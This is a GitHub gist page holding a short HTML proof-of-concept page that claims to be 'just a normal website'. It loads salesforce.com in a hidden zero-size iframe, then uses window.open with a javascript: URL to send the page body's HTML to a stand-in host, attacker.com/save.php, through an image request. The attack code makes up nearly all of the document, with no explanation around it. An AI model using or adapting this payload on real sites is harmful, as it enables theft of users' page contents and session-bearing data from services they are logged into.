Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Created January 12, 2015 21:28
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save joswr1ght/2f92d4c16eed1c924782 to your computer and use it in GitHub Desktop.
Save joswr1ght/2f92d4c16eed1c924782 to your computer and use it in GitHub Desktop.
<html><head></head>
<body>
This is just a normal website...
<iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe>
<script>
document.getElementById("if").style.visibility="hidden";
window.open("javascript:
var i=new Image();
i.src='http://attacker.com/save.php?'+document.body.innerHTML;
document.body.appendChild(i);
");
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment